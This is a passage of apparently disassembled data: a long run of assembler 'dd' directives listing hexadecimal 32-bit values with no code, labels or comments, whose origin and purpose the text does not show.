6A0847Ah, 29FC07E2h dd 0BA4F5D00h, 35C2B121h, 773F1C94h, 0B442C07Dh, 0ACFDFFC1h dd 0F92EC330h, 0FD65C1Bh, 2C95D5FAh, 28D86900h, 4900108Eh dd 53A588B5h, 0F099913Dh, 94D706F9h, 0C13ED3FBh, 67B2A900h dd 4996FE23h, 2CAFAF6h, 7F21608Dh, 1490E7FBh, 850095B1h dd 97A17C7Dh, 620BBBECh, 649F213Dh, 0E2514F60h, 8D0A16EAh dd 20EBFBA9h, 0D0BBB640h, 0EE6E0281h, 6A4931DBh, 0EDA2C090h dd 8070A505h, 8440C4AAh, 95DBE863h, 60E570D7h, 4234F138h dd 0E100A9FBh, 1AAB729Ah, 5824A34Bh, 5A0CF07Ah, 5841FD0Ah dd 5479DE00h, 4A6E98D5h, 6BFF0074h, 0F2ED772Ch, 29C0C007h dd 9453F0Ah, 68623806h, 6C50FD3Ah, 793363F2h, 0C7B113Fh dd 0E2D570Ah, 24009875h, 0C37A6D6h, 3C9D098Eh, 4C22994Eh dd 0ED00C82Ah, 0EA9EA765h, 49E3016Eh, 0EAC30389h, 0F9CADCB2h dd 0ACD0E800h, 0B4DDFEDh, 4279C408h, 0E142C094h, 0C0E3D03h dd 129ED7A9h, 7B735401h, 4E7049AFh, 8C395217h, 84D14737h dd 9364809Bh, 406BA8Dh dd 45F2BC4Dh, 1EAF0029h, 4A6A113Dh, 3B00AD55h, 76D76410h dd 6A72FEFh, 0C37335C9h, 17003131h, 4BEB2A9Ch, 0F5D2D7Bh dd 7F457A89h, 6475005h, 7959E3C0h, 70A72E00h, 2CD5F47Ah dd 0E8800E6h, 0C8239131h, 320F3D57h, 206994FAh, 0EE8CFCBDh dd 0B0B23D7Ch, 0C930075h, 48C478D3h, 920689DCh, 0B48056C5h dd 2E2F7C89h, 12381E05h, 87B00081h, 0E051F0D3h, 2D816E60h dd 0DBF83Ah, 0E1ACEC48h, 7F31F461h, 0B0868CA4h, 0D38A6FCh dd 1C02820Ch, 41BD64D3h, 0E13BC138h, 0B330408Ch, 730ABDFh dd 9D3E41FBh, 1334005Dh, 0F32E3271h, 0D3F6FAD7h, 0B0EB991Eh dd 0B5809085h, 88685801h, 118048C3h, 52DB55B7h, 0B900E2CBh dd 0B2F4A807h, 2DC264Fh, 5C19BCDEh, 0D44070AFh, 57005E08h dd 0AD919D31h, 5C33CCE6h, 0F224BB95h, 0B76E402Ch, 8E0096BDh dd 28C98573h, 50BC8D0Ah, 22D94FEh, 91A493AFh, 7063FC5Dh dd 0F2787CD0h, 5C029899h, 0E01DBD33h, 7593EAh, 1961517Dh dd 0A5B3E606h, 0C9CF0A30h, 831AAFh, 8CF48D75h, 5BD394D4h dd 7670E40Ah, 0D88014ABh, 78F0C81Fh, 0F2BE004Dh, 350F4146h dd 0D0188FBh, 75732ABCh, 9BC36980h, 21880E34h, 0D2006393h dd 0C44243CEh, 0F89C5802h, 40813E06h, 4B7B2F4h, 9020D651h dd 387CCCC3h, 856A1700h, 0E8B38CD3h, 0A75E0286h, 88E24287h dd 9EA28481h, 46A841F9h, 0EE747026h, 74794Ch, 0FB63430Eh dd 6007D5B5h, 3C2CC1E6h, 0E8034A22h, 0A795DE41h, 0E080040Eh dd 0C80A1789h, 44003CD0h, 11AF191Fh, 1DC701Dh, 33C75A21h dd 0F34102D3h, 32F3D81h, 0C3EE973Ah, 0C7CD44E9h, 6DE66FF1h dd 3D44824h, 0AD93900Fh, 0F9F0EFD7h, 0D49A8F82h, 335F350Ah dd 0E00078F2h, 0C17C2977h, 52471D62h, 0BECA8072h, 80881C0Fh dd 0D395E10Bh, 217B802Bh, 4C60D46Eh, 0C780C00Bh, 87FDF99Fh dd 92318618h, 0ECB5B930h, 509600A2h, 1B55DDA9h, 0EA24B4F1h dd 9012B089h, 0FD1C2801h, 4980095Fh, 0B93D26BAh, 4909509Ch dd 1007661Dh, 0D3CC00h, 0F5DA0FB0h, 0DFDBDCD9h, 3935011Fh dd 2DF8B5D5h, 15E76h, 836E5332h, 0FF58DADEh, 2753E1Ah dd 0FD02ACB0h, 1638A0E8h, 7236B7DAh, 80BCB12Eh, 821BE2F7h dd 971E96DBh, 0E0805CD9h, 945E92D3h, 7ED11B6h, 0ABB800F4h dd 7EAFF642h, 8E5000F8h, 21756B39h, 0FE03371Ah, 6CE899ACh dd 85F09B30h, 77711C80h, 29D30531h, 4054E3DDh, 0B9DB38D8h dd 0F3006F6Bh, 0D692407Eh, 7BDF4CA3h, 18CDFCB2h, 79F90C8Ch dd 610097FCh, 99908D69h, 0ABA7D0h, 0D596873h, 0C2D28AE5h dd 0C7C5FB51h, 0EC06100h, 28E3F479h, 0EF500112h, 0C69BAB7h dd 0C832F2h, 0FCCA02C3h, 7AE68D0h, 0B286BAB9h, 3BEE6016h dd 30F1AF5Ah, 5206E6EAh, 0C107613Ah, 451B3B91h, 70C22800h dd 39443173h, 2CA85758h, 0D76074A5h, 1F667D1h, 6DE87ADCh dd 60955428h, 4988CECCh, 749C580Ah, 0F1232403h, 0C100E2E3h dd 0C2F3DA19h, 26F3F8Fh, 72A8EB8h, 0AC0D349h, 0B30FDE34h dd 60B06094h, 0A97090F0h, 36FF01E4h, 0EA32EF0Dh, 88AF8EDh dd 4F001891h, 555DBE73h, 0F60F0BBh, 9B64D774h, 0FFD27760h dd 28984E6Ah, 122FA320h, 2DFD76Fh, 0E9477AFEh, 70B884C0h dd 9BA00C00h, 40D79E16h, 5B2B0549h, 0C2F3BDFBh, 2969C8h dd 4B54171Ch, 0FEF505BAh, 37928C90h, 296410D0h, 100F7D2h dd 38162C5Dh, 124E92h, 44984F4h, 2119A223h, 0A3908250h dd 0F70D6700h, 0F4E1FD47h, 0A62C3A48h, 0A00040CAh, 0DCF537F3h dd 0CCE33498h, 6F4DE86Ch, 6BBE007Ch, 0EE1DE52Ah, 50C9884h dd 0E125320Dh, 3408C03Eh, 70985A5Eh, 0E9E01E0Ch, 1922868h dd 1F02E860h, 728BE20Eh, 51990F9Ch, 5E89470Ah, 453470D0h dd 0E589CF6Bh, 0F029356Dh, 0AB000CAAh, 0B6464B17h, 0C0482AF3h dd 3F861669h, 7B17BDF2h, 30009694h, 5AECA5FCh, 0A47D5634h dd 0EE7A0100h, 2EAA31CCh, 0F525893Bh, 7F588100h, 67DAA909h dd 3998B320h, 50D07586h, 240340A7h, 0B6802655h, 90210AC8h dd 0C5416E2h, 49B84FDFh, 0C1FE0A88h, 2EA4B629h, 0FC72204Bh dd 51007EECh, 0E6F466Bh, 4C7D4C14h, 810B70FEh, 80060B4h dd 0E0383FA0h, 0C15A69h, 54105CA9h, 0F2060735h, 0F0579D1Eh dd 0CA040D05h, 2225BD04h, 0B0C8088Dh, 1DC776B3h, 94AF4224h dd 48118827h, 0BDE51E68h, 2808A935h, 81189D6Eh, 0BB172316h dd 3208F599h, 8185007Ch, 0BEE31E6h, 0A81E0141h, 13E893B2h dd 0E8220Ch, 0C75F6BBAh, 852DF30h, 4AD8577Ah, 0A931803h dd 2B2900C5h, 0CCB5B4E0h, 8F1857FCh, 128183E1h, 412300F5h dd 0CBE33A24h, 0BE002B08h, 7EC6D834h, 51808679h, 0C06E24B3h dd 0BB6847D6h, 0E97EDA03h, 73FF290h, 7518BD9h, 31D28002h dd 5A00C795h, 0C6BFCCE8h, 2EE0E57Bh, 10E8EF68h, 212980C3h dd 0A09B4F39h, 896D4498h, 81DC2076h, 9291C606h, 2519E7FBh dd 7820F256h, 0F07DAFD2h, 0EE9FA214h, 0E2BB09E8h, 0DD649089h dd 7D0E1752h, 0F2E8044Ch, 0CC24902Bh, 0AD0707D9h, 0B8701AEDh dd 9D00C505h, 0C40E4BF4h, 884700B9h, 0D36E8C5Ah, 6965B16Ah dd 7FB8010h, 20E6E52Bh, 6367FD10h, 1190C358h, 743F3F65h dd 0F2AC2306h, 61018936h, 7D19A8F9h, 0B426E265h, 0CD164201h dd 536095B4h, 0A4882B18h, 88F4B0ABh, 0D459101Dh, 0F8010C00h dd 0FECBA76h, 0A4EEAC31h, 0B05A79A0h, 0D8296191h, 0E00D407h dd 0BF2EADA1h, 179F1C32h, 0E884C648h, 0F054071h, 2D598FA2h dd 0FE6C8Ch, 847AF2B2h, 70469703h, 7EEC500h, 0C72148E8h dd 92A61AAEh, 0A412C06Eh, 0C3403820h, 0E05E08Bh, 0E1819094h dd 0F370888h, 0A3364A74h, 0A76204A0h, 0D52ED965h, 4C07CC73h dd 582C617Ah, 0E0F81818h, 73F2393Ch, 0C0205EAh, 705ED206h dd 244C61ACh, 0A0E10820h, 0E3E014h, 478FC084h, 3BDAC705h dd 4C1CAD48h, 284900D0h, 91D5502Bh, 481A05ABh, 78FBE09h dd 14F8DDE4h, 60E20Eh, 0B32753A4h, 1C610A84h, 868E182h dd 0EC07343Bh, 42F09B6Dh, 29AC0Eh, 0DE440893h, 0B6540294h dd 0C8F2BA2Eh, 696FDD00h, 0A228B91h, 4088E5F3h, 44BCA8ECh dd 0AB000E54h, 1E80ED22h, 8C9C4Fh, 0DFE25666h, 0B3B611E7h dd 9200D58h, 0C80AA9FCh, 0BCA654h, 8FB0D6FAh, 5AE172A1h dd 80F851CBh, 7AC091FBh, 77267308h, 28700031h, 0B3295036h dd 0F10055C6h, 0B0997BE6h, 9ED980h, 954CED58h, 97158763h dd 0C3DD08C3h, 9F808CE2h, 912186h, 157464DCh, 249E46FAh dd 6A299F61h, 40D22708h, 3B72DDh, 2B0AE2EFh, 24C3C2F2h dd 28629030h, 3C6C79A9h, 119E70F7h, 3C5183CAh, 48009AF9h dd 1AD30D9Bh, 73BE97D5h, 99A63CF5h, 0C6774F00h, 0A78AC7E0h dd 47562703h, 2FC393Fh, 5F8BEB39h, 40601840h, 5400495Ch dd 1006F2C8h, 1D61A3DDh, 0B09FED97h, 981216E0h, 0BE40B08Bh dd 0DA660CC6h, 9151ED3Fh, 0E1202507h, 408E1588h, 0AD453C4Dh dd 9C7A00F3h, 374A7ED7h, 7D0E5497h, 0DC2C3AE2h, 7BDA4700h dd 1597F68h, 90452A15h, 0F0B961C4h, 137E1F72h, 0F579A660h dd 0E28916FBh, 314292h, 67B9DCE0h, 0F6D7F011h, 0D8100085h dd 342554D3h, 15008C08h, 0FF2FF14Eh, 1A47E3h, 0BDEC06D1h dd 259CB372h, 13268206h, 699B6Ch, 7E46D5FFh, 6A699647h dd 22F38000h, 0D742187Fh, 4F48C093h, 133F0C20h, 151CF750h dd 0DA0B4000h, 0B7EA6E59h dd 86600044h, 0E6C9C29Ch, 492A80E1h, 0FB00A88Bh, 1319B505h dd 0E1A60F3h, 0BE9C2D71h, 682122A0h, 30938B4h, 20DF3C5Ah dd 0C4FD6430h, 66A00C8Ch, 38499C49h, 0CF0017B0h, 0FCE68F5Eh dd 0F576C43h, 0F8BC0478h, 0D088ADA6h, 92242A12h, 33D92840h dd 69C50EFh, 6D678084h, 95001857h, 923E05E0h, 0F1BF44h dd 0DA03D0D1h, 0B5D2918Eh, 0E651DD01h, 82D89727h, 0EB3F818Ch dd 0B800BEA1h, 45DF4EACh, 18E6D191h, 29994961h, 606886Dh dd 0E396419Ch, 4FAC0648h, 41753108h, 1A79400h, 6E256030h dd 645F0042h, 0DFA3B1E9h, 33A1FCAh, 75E600EFh, 24A49B2Ah dd 0B2BCA899h, 6F4E009Ch, 7F74EB5Dh, 1376CE47h, 1907CA71h dd 0A78BB053h, 346802D0h, 18FA602Ah, 0EFF9E90Ah, 0E76D7E00h dd 99F88C95h, 8AD44C1Fh, 19387700h, 185614FEh, 0EC906D54h dd 0E8B4D601h, 0F57DC228h, 0EA1BC880h, 6E5DB906h, 0B4A13F24h dd 74029028h, 24253563h, 0F6BCA093h, 0CABB5Bh, 50110A71h dd 15E6A00Eh, 86219665h, 0ED6060C0h, 9D0B3EEFh, 0AFBD5E83h dd 8100586Dh, 0ACE7135Bh, 5208EBh, 884EF589h, 3A583460h dd 77191501h, 55E96CE5h, 0C0526DFCh, 43B50C39h, 911E88BBh dd 0F00039CDh, 53DA6F2Ch, 4A5115CCh, 2B01D410h, 1150947Dh dd 0A9AAD03Bh, 313C3909h, 0DF800EC1h, 1E4FFC0h, 0FD72F604h dd 0E05184FDh, 0F7CB216Fh, 5E526CA0h, 30130029h, 0F847DBBEh dd 15035794h, 4E658220h, 536CE091h, 496458A7h, 8C8044h dd 0A845C79Ah, 0DA0869DBh, 0E60950E8h, 0DA43A73h, 884844C4h dd 0C70D7456h, 0E1ECC2E1h, 0F113E2C7h, 0F9D84811h, 796BFB00h dd 4AD5E9CDh, 5EA9000Fh, 0FC5CE3C6h, 0BD007DA8h, 0CF644725h dd 1DC994E2h, 0A72EECh, 0C4FFBB19h, 0D8995D13h, 94E5F500h dd 5C17454h, 4A5C6AB9h, 689C4013h, 496F5FE2h, 7B9DCB0Fh dd 757FA084h, 0C79424CAh, 0B06241h, 8514E079h, 6B78EB00h dd 17EC51FCh, 803B01C9h, 6D521FD0h, 3EC18E70h, 304091Bh dd 0D81547E9h, 1E555D12h, 1EE8B1h, 0FB11DF2Dh, 0E109EFCAh dd 5AFDE37h, 0BC001440h, 6CA7D6B2h, 1C3E0355h, 0E1C4CC9Ah dd 6778EA80h, 244F5601h, 6A6D8CA1h, 0E7CA7180h, 9C3FBD91h dd 51D1F305h, 0B840E992h, 82F03D7Fh, 0FCFF033Bh, 6972B7AEh dd 3C793900h, 9D2F392Bh, 0CCC13C64h, 0F7004122h, 0C38562B2h dd 2DA28FFh, 0E2263FE0h, 8CA0A824h, 7715B397h, 0EB89A51Fh dd 1A10BA80h, 2CE1F50h, 8730F08Eh, 0BC60A6CFh, 5915CB39h dd 0BC164Ah, 12AF3F4Fh, 0D28061h, 0A50EB37Eh, 0B5C94186h dd 181C5824h, 9A201A64h, 0E900E5BEh, 3DC5924Bh, 18A94E19h dd 599E4ABBh, 6C05FF56h, 14AC87C0h, 0D411B101h, 8420C9BDh dd 8030061Bh, 318A4BE3h, 0DAE81000h, 160C753Dh, 6FB000A4h dd 83A746D9h, 0CEFC730Bh, 27C12E1Fh, 3F262A70h, 0CA641F57h dd 4B7CAF10h, 0E4A6AC00h, 0F67B22h, 0CF5CBFC0h, 3B9DFA43h dd 8107C2E8h, 8575FB5Dh, 0D97EB480h, 2BB50017h, 52EF5FEAh dd 0E9065D82h, 2D63E764h, 35923C69h, 0A2A0974h, 8C5639DDh dd 732E4F00h, 3ABA1EFh, 62502113h, 77EF86C1h, 6BB8C0ADh dd 0CC376529h, 35E6482Ah, 5ECB0051h, 293AB4CAh, 10A1E363h dd 0C09F1034h, 0C90985Ch, 0BCC397C5h, 0F5008D19h, 0B9EA4B01h dd 3AFB7731h, 1206CC4Eh, 49CF106Dh, 9395F500h, 44DAFA2Bh dd 0EE210063h, 0A9C1CA34h, 7806A01Ah, 0D9F03FBEh, 4EE71830h dd 0DEAA6137h, 32C26618h, 0A09E11h, 0BDCBA3D6h, 0AB28DACh dd 0F3184CF2h, 1A088275h, 8FA80065h, 0AA038C6Ah, 0C8189E72h dd 2A40663Eh, 0CEEB0C95h, 5011B1B6h, 0A93A8807h, 0DE49B598h dd 284C0137h, 0DC12CBC0h, 0E6600D0Ah, 0AE443EC9h, 0DE980365h dd 0A85D878Ah, 3A3299D0h, 15857206h, 159139Ch, 7423549h dd 0D31EFDB9h, 0A8C1709Bh, 0BEFC41EBh, 0B0299F32h, 777E5940h dd 0F8EC4D85h, 2C570302h, 26C1D838h, 7929F900h, 3FF2729Dh dd 0F5FB00ACh, 67573159h, 8204C930h, 55B0F37Ah, 2C740C8Ch dd 0E09B4ABh, 0C0DDFF24h, 721FA6F9h, 8AC0E630h, 1B4E2789h dd 7FB7B79h, 5AA2650Eh, 133550C5h, 0BC12013Fh, 6507B8A9h dd 0C345C05Dh, 0DD2C8440h, 776F8511h, 99AD0043h, 47FF3E57h dd 2F0308B4h, 2D3D144Fh, 3487439h, 0E75FA1D8h, 0D1003659h dd 296FBA14h, 0ABE594BEh, 44C08284h, 3E503D48h, 3F64FD00h dd 0A5E77315h, 0E44C8D1Bh, 0A4819348h, 69308Ch, 4098BC9Dh dd 859EAB9Fh, 21387367h, 60D3F7D3h, 0E9AA4461h, 5438B83Ah dd 6B538C87h, 0F1DE02h, 0A2976D35h, 417599D9h, 223D5203h dd 0D66429B1h, 59B23C69h, 818F3A1Eh, 7B5B880Fh, 0E1909D52h dd 0A90A3424h, 2989C0C0h, 6B41668h, 0ADCBB70Ah, 30CF8093h dd 52019065h, 0F70CAA6Bh, 0BB180D8h, 6583295Ch, 0C6F823h dd 1E5B85D3h, 564A64D8h, 0EDE47E90h, 0F36B9E00h, 84E23D51h dd 0C90D3050h, 5A59FF79h, 0E13141Ch, 0A7CDC83h, 674980AAh dd 69EA018Eh, 0A96B5F6Dh, 45C2291h, 0FDF59A14h, 0DEFE4980h dd 25503C70h, 12C26AAh, 7FCA23BDh, 0F8669159h, 583F46E0h dd 3EF5DC63h, 3D90815Ch, 0BDB3CE20h, 69295986h, 727A41E5h dd 0A85A803Eh, 47003C92h, 0EB9A6CDDh, 1DF28DF7h, 87EAC19Fh dd 9A10F152h, 66BF3FBCh, 190E1AAh, 3979EAB4h, 0F16B0241h dd 46D450EDh, 17006A97h, 7FDFEE90h, 1614BB81h, 6D50199h dd 89CD10D0h, 0E5EF2E07h, 0A86A0655h, 3BCBB01h, 0D8D9CFBFh dd 0D6F7E451h, 3A17197h, 0E07738B2h, 1E260E8h, 0DDAAFA2Eh dd 59C1803Bh, 37527624h, 32B04871h, 0CE01B13Ah, 3F0AF86Eh dd 37BD41Eh, 0B23AA302h, 0E058968Fh, 48798D59h, 0E0221862h dd 0D240CF22h, 948C2080h, 7900FD29h, 854F6E3Eh, 61913BAAh dd 7FAD2948h, 0B78D3028h, 50329401h, 0BB911385h, 3E512180h dd 3D7955C6h, 0B529FF01h, 0B8147D7Bh, 298C12F8h, 8C0D61h dd 0BDF122A5h, 560EE162h, 9D35174Bh, 99BE3A40h, 7A5815h dd 231C9CE4h, 6695345Fh, 10100D24h, 0DAAC3B40h, 0A0AF0399h dd 0F093E14Fh, 7DA7AAA0h, 40474400h, 19638DB4h, 3D50026Eh dd 91D8E241h, 1065D461h, 0B5D4F330h, 70FF01C0h, 0AB240090h dd 60402894h, 11EB6E1h, 75AB0C3h, 0BD14D5DFh, 985900A0h dd 0AC9C6EC9h, 67F10FEAh, 0A402CB17h, 0ECA0CF94h, 1C6312F5h dd 5A167E00h, 86373108h, 0B68103A7h, 0EA2E91E1h, 0C4AF24E2h dd 3C001C14h, 55400996h, 0C4134B41h, 350057BAh, 0A0A32748h dd 0A950249h, 9B6B0E62h, 0A4F88060h, 0E2E8CB12h, 74632440h dd 2611C75Ch, 346696h, 320DBF65h, 3048BB5Ah, 0B4CE9E70h dd 2915A0F2h, 0CBE9F78Ch, 71808519h, 80E74E62h, 0BB069200h dd 0D3B4EED5h, 2E3E240Ah, 0BA443DBCh, 9F814201h, 0B5C888C2h dd 0F712B822h, 0C02C40EFh, 99382EA5h, 0EA0A19B8h, 0E8794C98h dd 5C01E711h, 0B1D54D89h, 0E0303014h, 0C05388h, 0BC8F02A1h dd 0BB4E21FDh, 54E7C828h, 3D137902h, 44B7CE1Ah, 0FC500154h dd 0F78FD970h, 5A046029h, 1DF57B01h, 0FA7A7588h, 16C872D0h dd 0E039047h, 0B2C31224h, 0B6E081D6h, 10C1FD55h, 0B1CEFC7Dh dd 3F5900F7h, 29DBD922h, 0BB54C2BAh, 0E30051DCh, 93FAAD41h dd 2978F7Dh, 11208DB9h, 0B44E50DDh, 0D501BC84h, 60307E37h dd 0F0915998h, 33B85BCEh, 6CA82D00h, 0AB01EBC6h, 0C4BA3900h dd 5D380458h, 0A4B009h dd 49E82FF8h, 643E4C1Ch, 58D5B63Ch, 0DF08044h, 4C8C67C4h dd 0ED0B3D87h, 0C7004C27h, 263405A4h, 5E08AC0Bh, 0C70100Dh dd 0D2EC80h, 470F8CC3h, 0E78E8F82h, 79567E17h, 0EC7C1Ch dd 30049500h, 5863721Dh, 818024E8h, 0C3F38C7Eh, 0C00BC700h dd 0BE7F94A8h, 274500A2h, 4F41814Bh, 12006119h, 0B965526Fh dd 76B6C8Eh, 2130639Ch, 9550C018h, 252EB241h, 5960C897h dd 0C3CFEh, 0FA5119B4h, 0CB3B5209h, 263DAE0Ah, 9702D417h dd 2765B8C8h, 3FD4B030h, 0A348328Fh, 0B210D90h, 0CBD0380Eh dd 9491F7h, 44C591A4h, 19B82ECAh, 81C4655Ch, 7E1A4E40h dd 34694450h, 0E8AD7DF9h, 4E0B02EDh, 6F837967h, 0DF007446h dd 0FDBD1C9Dh, 19B9C04Ah, 41294FE7h, 0F8F88081h, 0B16EF642h dd 0B1576191h, 0E45AC478h, 0D9031831h, 61E7639Dh, 0A390138h dd 5CB39B5Fh, 459C279h, 5508200h, 62B1D8h, 0A94DFDECh dd 3E25E38h, 9D13EB04h, 64801597h, 0B3A008h, 0C2EFD6ACh dd 48E71407h, 0A9DAE9C0h, 0CA789F5h, 0D5106042h, 551E2319h dd 0AE40BC1Ch, 49BB22ACh, 3BF101BEh, 0C66FE9EEh, 9E4FFC30h dd 95476426h, 102E0F04h, 0B26488h, 4A95A83Dh, 5237DDA9h dd 0D8D48404h, 2BC274A6h, 40708060h, 58A76526h, 2E005505h dd 3A8FAF09h, 0FA024713h, 0B37EA95Ah, 9864E09Bh, 0EFB40541h dd 262824Ah, 0FE9594A8h, 0BB4074E0h, 0CA8F884h, 0DC10CE8Dh dd 9401E391h, 2E15438Eh, 16F0600Bh, 0CF4C24F6h, 0AB6B0528h dd 0F300815Ah, 0F9142170h, 0B418923Dh, 0B01D2003h, 88102C6Ah dd 0C0200600h, 0BF7FC11Ah, 7C726F00h, 42048125h, 0EC16130Ch dd 10690377h, 91BC3EBEh, 80E10D10h, 42517591h, 2CB38B17h dd 8B47E18h, 0CC00E729h, 0A1B489FCh, 0A36728D7h, 0D6630B9Fh dd 0BB01C52Bh, 29C29A93h, 0D99B07DCh, 6420A980h, 529771h dd 1332C1C4h, 9B99267Dh, 51062207h, 8BB72909h, 62F23F40h dd 259C7ED4h, 1018B7C8h, 84A00C99h, 3D145C9Fh, 0F801218h dd 86322EF5h, 0C1E464h, 0A6BAAA69h, 4062D386h, 3C12548h dd 13935A9Bh, 30DD8883h, 475B1618h, 387408EEh, 10E03F83h dd 634900E2h, 0BA6D7525h, 420F802Fh, 0BF6AA34h, 0C2A418A0h dd 0D9FAD1h, 14798C3Dh, 759BC17Bh, 9F2D6F00h, 0B0683056h dd 0AA190011h, 0D4B342D2h, 0DE022A2h, 3869CB60h, 310BAFh dd 1FD9972h, 6057C0B3h, 9BB15800h, 64E3FE25h, 2426983Eh dd 5347581h, 81A88FF7h, 0D039F930h, 1E0963B8h, 8085253Fh dd 0EA3AF554h, 0E3112509h, 709AC011h, 5F3FB4B7h, 3431CEF8h dd 5881AC98h, 9C2749F9h, 6FE180CCh, 0D66D1E76h, 0CB7F0090h dd 9B6367C2h, 0C7027A8Dh, 0EE179547h, 8FE0802Ah, 0FEAD5B2h dd 11C87F5Fh, 30F94FE1h, 2EA82C0Bh, 6B02C082h, 4687848Ah dd 0B6350780h, 0A04CA953h, 0C5C877B4h, 8DE14D00h, 0C287C93Fh dd 80A9C019h, 0DF1888A7h, 845A6100h, 0CC99E127h, 8B8201DEh dd 105F707Ch, 65981C8h, 771FF736h, 9621D4h, 406E5E14h dd 0A0103F94h, 8F4F6700h, 180229A4h, 917168h, 0E44C81C4h dd 31C29875h, 0D98E79DFh, 6E12E045h, 0F4F4CACh, 0AD709D18h dd 0D8A0EAE9h, 2EE69655h, 0A5167600h, 1BF2E180h, 94BD122Fh dd 0B2600508h, 0F678C16Eh, 63E4209Ch, 3E18C67Ch, 91208F66h dd 0E828AB8Dh, 901B419Ch, 0FC9A0037h, 5E1C2128h, 0DB2EFDD0h dd 7F4088E8h, 0F820E1Eh, 0FD3162Ch, 88225600h, 9124E001h dd 3981A0BEh, 6F701984h, 3AD809C9h, 547F4D18h, 85B5BB1Ch dd 8CF377E7h, 7E00A540h, 51DC2CD8h, 0C0D5E86Ah, 9AF88419h dd 0B200A580h, 5FFD7435h, 73130A02h, 19881260h, 35CC8805h dd 39B01101h, 27B72D07h, 285BA0C4h, 0E5B4F7EFh, 909EE820h dd 4CF27F10h, 0E2016089h, 0B468A50Dh, 419FE4E8h, 0F11C4412h dd 71752804h, 2CED088Ch, 7207498h, 0E7EF0394h, 0A2A0BE64h dd 0D673D5F0h, 0F78AE0Fh, 0E63E616Ah, 0C8E03857h, 0F4804843h dd 72DE53C0h, 2F0032CEh, 5D52C920h, 1FAC6593h, 274215C0h dd 0F55E1010h, 4D4AB800h, 3A78FE22h, 91EA00BBh, 4E419E85h dd 0B1273DCh, 0A05C369Ch, 0FD090647h, 90ABE270h, 7F39009Bh dd 0EC579384h, 79F4FB23h, 989C52h, 2B2DAA32h, 50EB45F7h dd 4A29097h, 7B65AE13h, 0A7B4830Ah, 5A854DF0h, 42697C02h dd 783D176Ah, 6EE00040h, 2699BBE7h, 50029343h, 0DF9F5A82h dd 0DDF0407Ch, 0C800183h, 0DA69083Eh, 22EC48EAh, 7F0FF07Ch dd 71B9BA6h, 4B701A48h, 934C357h, 0ACF1F0Fh, 28C03882h dd 7256C0A0h, 0F2042616h, 8C31E786h, 0EDE512C0h, 6E09051Dh dd 888246h, 62FFEEB8h, 7091EA7Bh, 3A1C4800h, 0E35E7D7h dd 7679AB2Eh, 993B59C1h, 0A088208Ch, 8B012096h, 0D9EBF7FBh dd 0C7DB8F00h, 0A6B12702h, 0C107DF3Ch, 0E8817574h, 0C1ECAF98h dd 405040BEh, 0AA131AC7h, 0DB001058h, 0AC9A57C9h, 6DF002EAh dd 0C39DA620h, 0C50058C4h, 0C4C072Dh, 642463h, 39D19F53h dd 1CC4AE67h, 0D3BEDE00h, 9AEA453Fh, 94E6EE3Bh, 64E78B9Ch dd 7B405C90h, 0EA0068B6h, 51FD2EA5h, 3E731482h, 0A91588D1h dd 8700F8BFh, 57EA5A81h, 0E8B9C0F1h, 0EC6F1900h, 12EFBE78h dd 2294A456h, 1D607B40h, 9B3FE9BFh, 0E4820287h, 71D429FCh dd 0C3471EECh, 0A8072130h, 0A3CB04C0h, 0C88BBE06h, 49BC3Fh dd 0A1BD4052h, 0B2956E50h, 0C2888F16h, 0B6778D0h, 8E5E3FF4h dd 11303A80h, 4FB2AA54h, 9D55710Bh, 0C82B0Ch, 0F7581638h dd 724700A1h, 0AC183F66h, 0C11E8645h, 2CA6B240h, 65508100h dd 9573DF8h, 3CBE295Bh, 0C8179464h, 0A040E94Bh, 6C73917Fh dd 8C6B3050h, 0F5F23768h, 0D3223224h, 0A74EE05h, 76A18C3h dd 6C39E841h, 0EF953047h, 0CCA18801h, 6530403Eh, 4FE80A90h dd 0C40914E6h, 80D67688h, 505E8CC4h, 7C4B110h, 60F47CDEh dd 84E6F02h, 1EB8DB05h, 0B700125Ch, 3D07327Bh, 0FA14F011h dd 4B2F2EBh, 0D45981C5h, 944080A9h, 5099AFA6h, 9FEF5780h dd 7A6218h, 631E1773h, 1DF114EBh, 0F4A65512h, 0E5A38830h dd 89C600E7h, 238C5A5Ch, 990E213Bh, 29EECE37h, 503CC80Fh dd 38C403BEh, 0B4568BB3h, 0F17942A0h, 27E00D07h, 14174195h dd 4A917841h, 30851010h, 0E9F12E0Eh, 2161409Ch, 6AD35h dd 0E5767168h, 0F76C287Ah, 2491D760h, 4F8C02h, 0A6CD9838h dd 0FBAD8DCCh, 4AF2A700h, 0DEBB3EA5h, 53EF01FEh, 0DD6B4EA2h dd 7C3292h, 7FDC415h, 3FF2D343h, 3F005688h, 2E369B0h, 72161E4Eh dd 0D8D09C3Bh, 34F7DCh, 0D172E6Dh, 3F1EFACh, 72D44D00h dd 8B27597Bh, 4098B4BDh, 90431295h, 0E2EFBC28h, 9EEA600h dd 3A9AF9F5h, 0E4E83061h, 8E9D7FC9h, 75040E01h, 7E371ABBh dd 3ADBD8FBh, 14D751BEh, 0E9E7E000h, 4241389Ah, 0B2394884h dd 1E78B325h, 5A169D47h, 48A8E4CCh, 1A008486h, 60AE8143h dd 0C70966E0h, 28277EAh, 6B14FF94h, 37408C9Ch, 0A2335A4Ah dd 6A23F503h, 996C227h, 12A8F778h, 0B266F881h, 5F67E0ACh dd 91C03400h, 881A7A4Ch, 13091C3h, 416FC722h, 0A6CE05Fh dd 0ADE1AE00h, 91537E44h, 0F6569850h, 0F79D19F8h, 0DC3D58A6h dd 8512A938h, 0F4C8392Bh, 9770FCh, 506028F5h, 4DEA353Bh dd 5F6110F9h, 3D8B90Dh, 7A7586C1h, 9654A7C0h, 0AA4C7000h dd 803FB9C9h, 864326F4h, 41300230h, 0CC526C29h, 3FF74C00h dd 26B2A809h dd 0B117488h, 0CB3977Eh, 0D33D6064h, 0A9A5808Ah, 95992001h dd 409C5F33h, 556A658h, 250ECA69h, 9D5A994h, 0AD3CC8C0h dd 32100D4h, 7C61491Dh, 502C7B67h, 0A7023E8Ah, 0C263257Dh dd 70F1C20Ah, 20714FACh, 0E035C634h, 11C4BB00h, 0B52CDCE1h dd 6A1A134Fh, 0EE18025Dh, 5480E8AAh, 0BFE3729Ah, 9D00337Ch dd 0A9EF7F06h, 5DA42D6h, 0C8A0979Ch, 41BCF540h, 604C7500h dd 914883E0h, 9B57807Ch, 4C85DDCBh, 5003760h, 0B9C250E0h dd 620191C7h, 1319FAF0h, 70E92399h, 0C080A468h, 0F3C15A9Ch dd 87F2A818h, 174B70h, 32EC5FE7h, 7DC7BB06h, 48C1E125h dd 9FCA58h, 11BD08A0h, 4F9B7965h, 